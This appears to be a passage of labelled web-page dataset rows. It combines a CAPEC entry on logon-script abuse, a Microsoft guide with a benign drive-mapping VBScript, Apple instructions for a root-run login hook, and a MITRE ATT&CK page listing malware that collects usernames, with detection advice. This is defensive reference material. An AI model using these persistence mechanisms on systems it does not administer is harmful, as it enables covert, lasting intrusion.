table(s) below shows the other attack patterns and high level categories that are related to this attack pattern. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as CanFollow, PeerOf, and CanAlsoBe are defined to show similar attack patterns that the user may want to explore. Nature Type ID Name ChildOf Standard Attack Pattern - A standard level attack pattern in CAPEC is focused on a specific methodology or technique used in an attack. It is often seen as a singular piece of a fully executed attack. A standard attack pattern is meant to provide sufficient details to understand the specific technique and how it attempts to accomplish a desired goal. A standard level attack pattern is a specific type of a more abstract meta level attack pattern. 542 Targeted Malware Mitigations Restrict write access to logon scripts to necessary administrators. Related Weaknesses A Related Weakness relationship associates a weakness with this attack pattern. Each association implies a weakness that must exist for a given attack to be successful. If multiple weaknesses are associated with the attack pattern, then any of the weaknesses (but not necessarily all) may be present for the attack to be successful. Each related weakness is identified by a CWE identifier. CWE-ID Weakness Name 284 Improper Access Control Taxonomy Mappings Relevant to the ATT&CK taxonomy mapping Entry ID Entry Name 1037 Logon scripts 1159 Launch Agent 1162 Login Item Content History Submissions Submission Date Submitter Organization 2015-11-09 CAPEC Content Team The MITRE Corporation Modifications Modification Date Modifier Organization 2018-07-31 CAPEC Content Team The MITRE Corporation Updated References 2019-04-04 CAPEC Content Team The MITRE Corporation Updated Related_Weaknesses More information is available \xe2\x80\x94 Please select a different filter. Page Last Updated or Reviewed: July 31, 2018 \xc2 Use of the Common Attack Pattern Enumeration and Classification dictionary and classification taxonomy, and the associated references from this website, are subject to the Terms of Use. For more information, please email capec@mitre.org. CAPEC is sponsored by the U.S. Department of Homeland Security (DHS) Cybersecurity and Infrastructure Security Agency (CISA). Copyright \xc2\xa9 2007 - 2019, The MITRE Corporation. CAPEC and the CAPEC logo are trademarks of The MITRE Corporation. Privacy policy Terms of use Site Map Contact us \xc2","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Creating logon scripts: Scripting; General | Microsoft Docs Skip to main content Contents Exit focus mode Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Creating logon scripts 10/08/2009 3 minutes to read In this article Applies To: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1, Windows Server 2003 with SP2 Creating logon scripts You can use logon scripts to assign tasks that will be performed when a user logs on to a particular computer. The scripts can carry out operating system commands, set system environment variables, and call other scripts or executable programs. The Windows Server\xc2 2003 family supports two scripting environments: the command processor runs files containing batch language commands, and Windows Script Host (WSH) runs files containing Microsoft Visual Basic Scripting Edition (VBScript) or Jscript commands. You can use a text editor to create logon scripts. Some tasks commonly performed by logon scripts include: Mapping network drives. Installing and setting a user's default printer. Collecting computer system information. Updating virus signatures. Updating software. The following example logon script contains VBScript commands that use Active Directory Service Interfaces (ADSI) to perform three common tasks based on a user's group membership: It maps the H: drive to the home directory of the user by calling the WSH Network object's MapNetworkDrive method in combination with the WSH Network object's UserName property. It uses the ADSI IADsADSystemInfo object to obtain the current user's distinguished name, which in turn is used to connect to the corresponding user object in Active Directory. Once the connection is established, the list of groups the user is a member of is retrieved by using the user's memberOf attribute. The multivalued list of group names is joined into a single string by using VBScript's Join function to make it easier to search for target group names. If the current user is a member of one of the three groups defined at the top of the script, then the script maps the user's G: drive to the group shared drive, and sets the user's default printer to be the group printer. To create an example logon script Open Notepad. Copy and paste, or type, the following: Const ENGINEERING_GROUP = ""cn=engineering"" Const FINANCE_GROUP = ""cn=finance"" Const HUMAN_RESOURCES_GROUP = ""cn=human resources"" Set wshNetwork = CreateObject(""WScript.Network"") wshNetwork.MapNetworkDrive ""h:"", ""\\\\FileServer\\Users\\"" & wshNetwork.UserName Set ADSysInfo = CreateObject(""ADSystemInfo"") Set CurrentUser = GetObject(""LDAP://"" & ADSysInfo.UserName) strGroups = LCase(Join(CurrentUser.MemberOf)) If InStr(strGroups, ENGINEERING_GROUP) Then wshNetwork.MapNetworkDrive ""g:"", ""\\\\FileServer\\Engineering\\"" wshNetwork.AddWindowsPrinterConnection ""\\\\PrintServer\\EngLaser"" wshNetwork.AddWindowsPrinterConnection ""\\\\PrintServer\\Plotter"" wshNetWork.SetDefaultPrinter ""\\\\PrintServer\\EngLaser"" ElseIf InStr(strGroups, FINANCE_GROUP) Then wshNetwork.MapNetworkDrive ""g:"", ""\\\\FileServer\\Finance\\"" wshNetwork.AddWindowsPrinterConnection ""\\\\PrintServer\\FinLaser"" wshNetWork.SetDefaultPrinter ""\\\\PrintServer\\FinLaser"" ElseIf InStr(strGroups, HUMAN_RESOURCES_GROUP) Then wshNetwork.MapNetworkDrive ""g:"", ""\\\\FileServer\\Human Resources\\"" wshNetwork.AddWindowsPrinterConnection ""\\\\PrintServer\\HrLaser"" wshNetWork.SetDefaultPrinter ""\\\\PrintServer\\HrLaser"" End If On the File menu, click Save As. In Save in, click the directory that corresponds to the domain controller's Netlogon shared folder (usually SystemRoot\\SYSVOL\\Sysvol\\DomainName\\Scripts where DomainName is the domain's fully qualified domain name). In Save as type, click All Files. In File name, type a file name, followed by .vbs, and then click Save. WSH uses the .vbs extension to identify files that contain VBScript commands. Notes To open Notepad, click Start, point to All programs, point to Accessories, and then click Notepad. To use the example logon script, you need to change the group names, network drive letters, and Universal Naming Convention (UNC) paths to match your system environment. To run a logon script, you need to assign the script to a user or a group. For more information, see Assign a logon script to a user or group. For more information about creating and using logon scripts, see Logon Scripts, Windows Script at the Microsoft Web site, and the Microsoft Windows Resource Kits Web site. Information about functional differences Your server might function differently based on the version and edition of the operating system that is installed, your account permissions, and your menu settings. For more information, see Viewing Help on the Web. Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Mac OS X: Creating a login hook - Apple Support Men\xc3\xbc \xc3\xb6ffnenMen\xc3\xbc schlie\xc3\x9fen Apple Einkaufstasche Support durchsuchen Abbrechen Apple Mac iPad iPhone Watch TV Music Support Einkaufstasche Abbrechen Mac OS X: Creating a login hook Did you know that you can have Mac OS X run a script whenever you log in to your computer? You can if you create a ""login hook."" A login hook tells Mac OS X to execute a certain script when a user logs in. Unlike Startup Items that open when a user logs in, a login hook is a script that executes as root. This advanced article shows you how to set up a login hook. With a login hook: The script specified as a login hook must be executable. The login hook will be run as root. In the login hook script, the variable $1 returns the short name of the user who is logging in. Other login actions wait until the hook has completely executed. How to set up a login hook Mac OS X 10.3, 10.4, or later Note that with Mac OS X 10.3.x and 10.4.2 or later, you can use the alternative method at the bottom of this document instead, if you wish. For Mac OS X 10.4 and 10.4.1, you should always use the following steps: Open Terminal (Applications/Utilities). In the Terminal window, type: sudo defaults write com.apple.loginwindow LoginHook /path/to/script (where /path/to/script is the full path to the script that you want to execute when a user logs in\xe2\x80\x94it doesn't have to be in the user's Home directory). This modifies the /var/root/Library/Preferences/com.apple.loginwindow file. \xc2 Type your password at the prompt, then press Return. Mac OS X 10.2.x, 10.3.x, or 10.4.2 or later Open the /etc/ttys file: In the Finder, choose Go to Folder from the Go menu, type /etc/, then click Go. In the resulting window, open the ttys file in your preferred text editor (such as TextEdit). Look for a line that reads: #console ""/System/Library/CoreServices/loginwindow.app/Contents/MacOS/loginwindow"" vt100 on secure window=/System/Library/CoreServices/WindowServer onoption=""/usr/libexec/getty std.9600"" Edit this line so that it reads as follows (there are no breaks in this line): #console ""/System/Library/CoreServices/loginwindow.app/Contents/MacOS/loginwindow -LoginHook /path/to/script"" vt100 on secure window=/System/Library/CoreServices/WindowServer onoption=""/usr/libexec/getty std.9600"" (where /path/to/script is the full path to the script that you want to execute when a user logs in). Save the file. Be sure that the text editor you use to edit this file does not break the line above into more than one line. This method will also work in Mac OS X 10.3. Ver\xc3\xb6ffentlichungsdatum:\xc2 Juni 01, 2011 Hilfreich? Ja Nein Zeichenbeschr\xc3\xa4nkung: 250 Bitte f\xc3\xbcgen Sie Ihrem Kommentar keine pers\xc3\xb6nlichen Daten hinzu. Die maximal zul\xc3\xa4ssige Anzahl von Zeichen betr\xc3\xa4gt\xc2 250. Senden Vielen Dank f\xc3\xbcr Ihre R\xc3\xbcckmeldung. Diskussion beginnen in den Apple Support Communities Anderen Benutzern eine Frage zu diesem Artikel stellen Alle Fragen zu diesem Artikel anzeigen Apple Footer \xef\xa3\xbf Apple Support Mac OS X: Creating a login hook \xc3\x96sterreich Copyright \xc2\xa9 2019 Apple Inc. Alle Rechte vorbehalten. Datenschutzrichtlinie Nutzungsbedingungen Verkauf und R\xc3\xbcckerstattung Sitemap Verwendung von Cookies","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"System Owner/User Discovery - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise System Owner/User Discovery System Owner/User Discovery Windows Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Mac On Mac, the currently logged in user can be identified with users,w, and who. Linux On Linux, the currently logged in user can be identified with w and who. ID:\xc2 T1033 Tactic: Discovery Platform:\xc2 Linux, macOS, Windows Permissions Required:\xc2 User, Administrator Data Sources:\xc2 File monitoring, Process monitoring, Process command-line parameters CAPEC ID: CAPEC-577 Version:\xc2 1.0 Mitigations This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features. Examples Name Description Agent Tesla Agent Tesla collects the username from the victim\xe2\x80\x99s machine. [29] [30] Agent.btz Agent.btz obtains the victim username and saves it to a file. [42] APT19 APT19 used an HTTP malware variant and a Port 22 malware variant to collect the victim\xe2\x80\x99s username. [75] APT3 An APT3 downloader uses the Windows command ""cmd.exe"" /C whoami to verify that it is running with the elevated privileges of \xe2\x80\x9cSystem.\xe2\x80\x9d [83] APT32 APT32 collected the victim's username and executed the whoami command on the victim's machine. [69] [70] APT37 APT37 identifies the victim username. [71] APT39 APT39 used Remexi to collect usernames from the system. [88] Azorult Azorult can collect the username from the victim\xe2\x80\x99s machine. [37] Backdoor.Oldrea Backdoor.Oldrea collects the current username from the victim. [18] BISCUIT BISCUIT has a command to gather the username from the system. [21] Cannon Cannon can gather the username from the system. [36] Cardinal RAT Cardinal RAT can collect the username from a victim machine. [40] DarkComet DarkComet gathers the username from the victim\xe2\x80\x99s machine. [9] Denis Denis collects the username from the victim\xe2\x80\x99s machine. [38] Derusbi A Linux version of Derusbi checks if the victim user ID is anything other than zero (normally used for root), and the malware will not execute if it does not have root privileges. Derusbi also gathers the username of the victim. [6] DownPaper DownPaper collects the victim username and sends it to the C2 server. [25] Dragonfly 2.0 Dragonfly 2.0 used the command query user on victim hosts. [87] Epic Epic collects the user name from the victim\xe2\x80\x99s machine. [43] Felismus Felismus collects the current username and sends it to the C2 server. [32] FELIXROOT FELIXROOT collects the username from the victim\xe2\x80\x99s machine. [26] [27] FIN10 FIN10 has used Meterpreter to enumerate users on remote systems. [74] FlawedAmmyy FlawedAmmyy enumerates the current user during the initial infection. [64] Gamaredon Group A Gamaredon Group file stealer can gather the victim's username to send to a C2 server. [84] Gazer Gazer obtains the current user's security identifier. [10] Gold Dragon Gold Dragon collects the endpoint victim's username and uses it as a basis for downloading additional components from the C2 server. [5] GravityRAT GravityRAT collects the victim username along with other account information (account type, description, full name, SID and status). [20] HAPPYWORK can collect the victim user name. [4] HAWKBALL HAWKBALL can collect the user name of the system. [68] InvisiMole InvisiMole lists local users and session information. [45] Ixeshe Ixeshe collects the username from the victim\xe2\x80\x99s machine. [67] JPIN JPIN can obtain the victim user name. [41] Kazuar Kazuar gathers information on users. [7] Koadic Koadic can identify logged in users across the domain and views user sessions. [2] Komplex The OsInfo function in Komplex collects the current running username. [58] KONNI KONNI can collect the username from the victim\xe2\x80\x99s machine. [12] Kwampirs Kwampirs collects registered owner details by using the commands systeminfo and net config workstation. [33] Lazarus Group Various Lazarus Group malware enumerates logged-on users. [76] [77] [78] [79] [80] Linux Rabbit Linux Rabbit opens a socket on port 22 and if it receives a response it attempts to obtain the machine's hostname and Top-Level Domain. [61] Magic Hound Magic Hound malware has obtained the victim username and sent it to the C2 server. [81] Micropsia Micropsia collects the username from the victim\xe2\x80\x99s machine. [14] MirageFox MirageFox can gather the username from the victim\xe2\x80\x99s machine. [47] Mis-Type Mis-Type runs tests to determine the privilege level of the compromised user. [11] MoonWind MoonWind obtains the victim username. [50] More_eggs More_eggs has the capability to gather the username from the victim's machine. [53] Mosquito Mosquito runs whoami on the victim\xe2\x80\x99s machine. [24] MuddyWater MuddyWater has used malware that can collect the victim\xe2\x80\x99s username. [73] NanHaiShu NanHaiShu collects the username from the victim. [19] NDiskMonitor NDiskMonitor obtains the victim username and encrypts the information to send over its C2 channel. [28] njRAT njRAT enumerates the current user during the initial infection. [66] NOKKI NOKKI can collect the username from the victim\xe2\x80\x99s machine. [44] Octopus Octopus collects the username from the victim\xe2\x80\x99s machine. [59] OilRig OilRig has run whoami on a victim. [85] [86] Patchwork Patchwork collected the victim username and whether it was running as admin, then sent the information to its C2 server. [82] [28] PowerDuke PowerDuke has commands to get the current user's name and SID. [39] POWRUNER POWRUNER may collect information about the currently logged in user by running whoami on a victim. [23] Prikormka A module in Prikormka collects information from the victim about the current user name. [51] Pupy Pupy can enumerate local information for Linux hosts and find currently logged on users for Windows hosts. [1] QUADAGENT QUADAGENT gathers the victim username. [56] RATANKBA RATANKBA runs the whoami and query user commands. [16] Reaver Reaver collects the victim's username. [17] RedLeaves RedLeaves can obtain information about the logged on user both locally and for Remote Desktop sessions. [3] Remsec Remsec can obtain information about the current user. [31] Revenge RAT Revenge RAT gathers the username from the system. [63] RGDoor RGDoor executes the whoami on the victim\xe2\x80\x99s machine. [48] RogueRobin RogueRobin collects the victim\xe2\x80\x99s username and whether that user is an admin. [54] RTM RTM can obtain the victim username and permissions. [46] ServHelper ServHelper will attempt to enumerate the username of the victim. [65] Soft Cell Soft Cell used whoami and query user to obtain information about the victim user. [90] SpeakUp SpeakUp uses the whoami command. [62] SslMM SslMM sends the logged-on username to its hard-coded C2. [35] Stealth Falcon Stealth Falcon malware gathers the registered user and primary owner name via WMI. [72] SynAck SynAck gathers user names from infected hosts. [52] Sys10 Sys10 collects the account name of the logged-in user and sends it to the C2. [35] T9000 T9000 gathers and beacons the username of the logged in account during installation. It will also gather the username of running processes to determine if it is running as SYSTEM. [13] Tropic Trooper Tropic Trooper used letmein to scan for saved usernames on the target system. [89] Unknown Logger Unknown Logger can obtain information about the victim usernames. [8] UPPERCUT UPPERCUT has the capability to collect the current logged on user\xe2\x80\x99s username from a machine. [22] VERMIN VERMIN gathers the username from the victim\xe2\x80\x99s machine. [57] WINDSHIELD WINDSHIELD can gather the victim user name. [55] WINERACK WINERACK can gather information on the victim username. [4] WinMM WinMM uses NetUser-GetInfo to identify that it is running under an \xe2\x80\x9cAdmin\xe2\x80\x9d account on the local system. [35] XAgentOSX XAgentOSX contains the getInfoOSX function to return the OS X version as well as the current user. [49] yty yty collects the victim\xe2\x80\x99s username. [15] Zebrocy Zebrocy gets the username from the system. [60] zwShell zwShell can obtain the name of the logged-in user on the victim. [34] Detection System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. References Nicolas Verdier. (n.d.). Retrieved January 29, 2018. Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018. PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017. FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018. Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\xe2\x80\x99 Systems. Retrieved June 6, 2018. Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016. Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018. Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016. TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018. Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017. Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017. Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018. Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016. Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018. Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018. Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018. Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017. Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016. F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018. Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018. Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016. Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018. Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017. ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018. ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017. Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018. Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018. Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018. The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018. Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018. Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016. Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017. Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018. McAfee\xc2\xae Foundstone\xc2\xae Professional Services and McAfee Labs\xe2\x84\xa2. (2011, February 10). Global Energy Cyberattacks: \xe2\x80\x9cNight Dragon\xe2\x80\x9d. Retrieved February 19, 2018. Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019. Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \xe2\x80\x98Cannon\xe2\x80\x99 Trojan. Retrieved November 26, 2018. Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018. Shulmin, A., Yunakovsky, S. (2017, April 28). Use of DNS Tunneling for C&C Communications. Retrieved November 5, 2018. Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017. Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018. Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018. Shevchenko, S.. (2008, November 30). Agent.btz - A Threat That Hit Pentagon. Retrieved April 8, 2016. Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018. Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018. Hromcov\xc3\xa1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018. Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017. Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018. Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018. Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017. Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017. Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016. Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\xc3\xa4nging technique. Retrieved May 22, 2018. Svajcer, V. 